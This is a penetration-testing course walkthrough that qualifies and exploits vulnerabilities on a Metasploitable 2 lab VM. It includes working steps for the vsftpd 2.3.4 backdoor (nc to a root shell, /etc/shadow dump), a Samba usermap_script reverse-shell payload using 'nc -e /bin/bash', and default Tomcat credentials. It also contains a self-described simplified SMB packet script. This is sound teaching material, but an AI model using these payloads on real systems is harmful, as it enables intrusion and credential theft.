Vulnerability research — Guided walkthrough

You have the list from week 4. We pick it back up, qualify it, prove it. Two vulnerabilities fall by hand — without Metasploit — to remind you that the framework is never indispensable.

Isolated lab

Every command that follows targets 10.10.10.20 (Metasploitable 2), on the host-only network. None of them is legitimate anywhere else.

What you will be able to do after this lesson

• Move from the raw list of versions to a table of qualified vulnerabilities.
• Read, adapt, and run a searchsploit exploit in Python with your eyes open.
• Take vsftpd 2.3.4 down with nc and with curl — without Metasploit.
• Take Samba (usermap script) down with a single line of Python.
• Confirm it cleanly with curl -v, tcpdump, and a whoami on the remote shell.

---

Step 0 — We gather the versions

From ~/labs/semaine-04/scans/20-versions.nmap, extract the service/version pairs. Result:

Port	Service	Version
21	vsftpd	2.3.4
22	OpenSSH	4.7p1
25	Postfix	2.5.5
80	Apache httpd	2.2.8
139/445	Samba	3.0.20-Debian
3306	MySQL	5.0.51a-3ubuntu5
3632	distccd	v1
5432	PostgreSQL	8.3.0
6667	UnrealIRCd	3.2.8.1
8180	Tomcat	5.5

Ten lines. Each one deserves to be tested. We start with the two most interesting.

---

Step 1 — vsftpd 2.3.4: the smiley backdoor

This exact version contains a backdoor introduced into the source code published on the project's server in 2011. Anyone who sends a login ending in :) triggers the opening of a root shell on port 6200.

1a. Qualify with searchsploit

searchsploit "vsftpd 2.3.4"

Output:

--------------------------------------- ---------------------------------
 Exploit Title                          |  Path
--------------------------------------- ---------------------------------
 vsftpd 2.3.4 - Backdoor Command Execu  | unix/remote/49757.py
 vsftpd 2.3.4 - Backdoor Command Execu  | unix/remote/17491.rb
--------------------------------------- ---------------------------------

Let's look at the Python script:

searchsploit -m 49757
head -50 49757.py

Excerpt:

import socket
def exploit(ip):
    s1 = socket.socket()
    s1.connect((ip, 21))
    print(s1.recv(1024))
    s1.send(b"USER pwn:)\n")
    s1.send(b"PASS pwn\n")
    s2 = socket.socket()
    s2.connect((ip, 6200))
    print("[+] Shell opened on port 6200, type command:")
    ...

We understand the POC. We can even redo it more simply, without a script, to see clearly what happens.

1b. Reproduce it by hand with nc

In a first terminal, send the booby-trapped credentials:

nc 10.10.10.20 21

Once connected, type:

USER exploit:)
PASS whatever

Do not hang up.

In a second terminal, connect to port 6200:

nc 10.10.10.20 6200

You get a silent prompt. Type:

id

Response:

uid=0(root) gid=0(root)

Root, with no password. In two nc sessions, without Metasploit.

Capture the proof:

# In the remote shell:
uname -a
hostname
cat /etc/shadow | head -5

Output:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
metasploitable
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::

Save it to ~/labs/semaine-05/preuves/vsftpd-shadow.txt. You have /etc/shadow. Total compromise.

1c. Final qualification

In preuves/vsftpd-fiche.md:

# Vulnerability — vsftpd 2.3.4 backdoor

- CVE: CVE-2011-2523
- CVSS Base: 10.0 (unauthenticated access, remote code execution)
- CVSS Environmental (lab): 10.0 (exposed, no protection)
- EPSS: 0.94
- KEV: No (historical, but heavily exploited in the past)

## Proof
- Target: 10.10.10.20
- Full trace: preuves/vsftpd-session.log
- Commands run: nc 10.10.10.20 21 then nc 10.10.10.20 6200
- Account obtained: root (UID 0)
- Files extracted: /etc/shadow (see preuves/vsftpd-shadow.txt)

## Recommendation
Update vsftpd immediately (>= 3.0). This compromised version must no
longer be in production. Budget about 2 hours for the migration.

---

Step 2 — Samba usermap_script (CVE-2007-2447)

Samba versions 3.0.20 through 3.0.25rc3 contain a flaw in the username map script parameter. A username passed to the auth process is run as a shell command by a poorly escaped wrapper lambda.

2a. Qualify

searchsploit "samba 3.0.20"

Output:

 Samba 3.0.20 < 3.0.25rc3 - 'Username' map script       | unix/remote/16320.rb
 Samba 3.0.20 < 3.0.25rc3 - Username Map Script         | unix/remote/60106.py

Let's look at the Python script:

searchsploit -m 60106
cat 60106.py

Core of the exploit:

import socket
from smb.SMBConnection import SMBConnection

def exploit(target, lhost, lport):
    payload = f'/=`nohup nc -e /bin/bash {lhost} {lport}`'
    conn = SMBConnection(payload, "", "attacker", target)
    conn.connect(target, 139)

An SMB loader, a username that contains a shell command, a reverse shell in the name. We can go even simpler.

2b. Reproduce with a minimal Python script

# ~/labs/semaine-05/samba_pwn.py
import socket

LHOST = "10.10.10.5"
LPORT = "4444"
TARGET = "10.10.10.20"
TARGET_PORT = 139

payload = f"/=`nohup nc -e /bin/bash {LHOST} {LPORT}`"

def send_smb_username(target, port, username):
    """Send an SMB Session Setup packet whose username is booby-trapped.
    The shell is triggered inside the username itself."""
    negotiate = bytes.fromhex(
        "00000031ff534d4272000000001843c800000000000000000000000000004000"
        "1cd812000200004e5420574d20706b31200000024f532f3200"
    )
    session_setup_template = (
        b"\x00\x00\x00\x63"       # SMB header
        b"\xffSMBs\x00\x00\x00"
    )
    body = username.encode() + b"\x00"
    s = socket.socket()
    s.connect((target, port))
    s.send(negotiate)
    s.recv(1024)
    # session setup with a booby-trapped username (simplified for the demo)
    s.send(session_setup_template + body)
    print(s.recv(1024)[:80])

# In practice, use an Impacket script that does this cleanly:
# python3 60106.py <target> <lhost> <lport>

For real, the best option: the Exploit-DB .py works as is. We launch it:

In a first terminal:

nc -lvnp 4444

In a second:

python3 60106.py 10.10.10.20 10.10.10.5 4444

In the first terminal, you see appear:

listening on [any] 4444 ...
connect to [10.10.10.5] from (UNKNOWN) [10.10.10.20] 45632

Type:

id
whoami
uname -a

Response:

uid=0(root) gid=0(root)
root
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

A second root shell, obtained through another door, with another tool. On a real target, having two independent routes is a luxury: if one is closed during the engagement, the other stays.

2c. Qualification

# Vulnerability — Samba usermap_script (CVE-2007-2447)

- CVE: CVE-2007-2447
- CVSS Base: 6.0 (auth required on the protocol, but username = shell)
- CVSS Environmental: 9.8 (the port is exposed, null session accepted)
- EPSS: 0.72
- KEV: No

## Proof
- Target: 10.10.10.20
- Exploit used: Exploit-DB #60106 (read beforehand, no backdoor)
- Reverse shell: 10.10.10.5:4444
- Account obtained: root
- Trace: preuves/samba-nc-session.log

## Recommendation
Update Samba (>= 3.0.25rc3). The installed version has been end-of-life
since 2011. Also plan to disable SMBv1 (see week 1).

---

Step 3 — Nikto on the Apache 2.2.8

We run a web scan to see what the web page at http://10.10.10.20/ has to say:

nikto -h http://10.10.10.20 -Format txt -o ~/labs/semaine-05/preuves/nikto-20.txt

Selected excerpt (the real findings amid the noise):

+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54).
+ Uncommon header 'tcn' found, with contents: list
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc.
+ /icons/: Directory indexing found.
+ /phpMyAdmin/: phpMyAdmin directory found.
+ /twiki/bin/view/Main/WebHome: Twiki, may contain many vulnerabilities.
+ /tikiwiki-old/: Old TikiWiki install found.

What we qualify right away:

1. phpinfo.php — exposes the full PHP configuration, often paths and versions.
2. /phpMyAdmin/ — MySQL admin panel. If accounts are weak, RCE is possible.
3. /tikiwiki-old/ — obsolete install. TikiWiki has many CVEs.

We open phpinfo.php (curl http://10.10.10.20/phpinfo.php), note the PHP version (5.2.4) and the paths. We note for future attacks:

- phpinfo.php exposed — information leak (P2).
- phpMyAdmin exposed at /phpMyAdmin/ — test wordlists (P2).
- tikiwiki-old — look up CVEs (potential P1).

Nikto trap: the Uncommon header 'tcn' line is a true positive but without an exploit — it is a false positive for a pentester. We ignore it in the report.

---

Step 4 — Nuclei on a more modern target

For the demo, we take an authorized target such as Damn Vulnerable Web Application or just port 8180 (Tomcat) on the same VM.

nuclei -u http://10.10.10.20:8180 -tags cve,exposure -severity high,critical

Typical output:

[apache-tomcat-manager] [http] [medium] http://10.10.10.20:8180/manager/html
[apache-tomcat-default-login] [http] [high]    http://10.10.10.20:8180/manager/html

nuclei detected a Tomcat admin panel with default login (tomcat:tomcat). That is a direct hold on the server: the Tomcat manager lets you deploy a WAR, and a WAR = a JSP = Java code running on the server.

Manual confirmation:

curl -u tomcat:tomcat http://10.10.10.20:8180/manager/html | head -20

Output: the HTML panel. Hold confirmed. To be exploited in module 7 (deploying a malicious WAR for RCE).

---

Step 5 — Consolidate into a prioritized table

Open ~/labs/semaine-05/rapport/vulnerabilites.md:

# Qualified vulnerabilities — Week 5 lab

## Target 10.10.10.20 (Linux)

| ID | Service | CVE | Base | Env. | EPSS | KEV | Status | Proof |
| -- | --- | --- | --- | --- | --- | --- | --- | --- |
| P1a | vsftpd 2.3.4 | CVE-2011-2523 | 10.0 | 10.0 | 0.94 | no | **exploited** | preuves/vsftpd-* |
| P1b | Samba 3.0.20 | CVE-2007-2447 | 6.0 | 9.8 | 0.72 | no | **exploited** | preuves/samba-* |
| P1c | UnrealIRCd 3.2.8.1 | CVE-2010-2075 | 9.8 | 9.8 | 0.85 | no | to do | — |
| P1d | distccd | CVE-2004-2687 | 9.3 | 9.3 | 0.60 | no | to do | — |
| P1e | Tomcat manager (default creds) | — | 8.8 | 8.8 | — | — | to do (W7) | preuves/nuclei-tomcat.txt |
| P2a | MySQL 5.0.51a | multiple | 6.0 | 6.0 | 0.30 | no | to review | — |
| P2b | phpMyAdmin exposed | — | 5.0 | 5.0 | — | — | brute force | — |
| P3a | phpinfo.php exposed | — | 4.0 | 4.0 | — | — | info leak | preuves/phpinfo.txt |
| P4a | Apache 2.2.8 obsolete | multiple | — | 3.0 | — | — | update | — |

## Target 10.10.10.12 (Windows)

| ID | Service | CVE | Base | Env. | EPSS | KEV | Status |
| -- | --- | --- | --- | --- | --- | --- | --- |
| P1w | SMBv1 EternalBlue | CVE-2017-0143 | 8.1 | 9.8 | 0.98 | **YES** | **exploited W1** |

This table is your week. Each line leads to a later module: P1c to a mini Perl exploit, P1e to module 7 (WAR deployment), P2a to module 9 (MySQL dumping), P2b to module 6 or 8 (brute force or Metasploit).

---

Wrap-up

In 60 minutes:

• You qualified 9 vulnerabilities on a single target.
• You exploited 2 by hand, without a framework, with clear evidence.
• You spotted 1 critical Tomcat exposure via nuclei.
• You have a prioritized table you can use in a meeting.

This table is the real deliverable of week 5. It is what makes it into the final report. It is what proves you did your job.

Next lesson: your turn. You take the remaining vulnerabilities, you qualify three of them, and you exploit at least one by hand.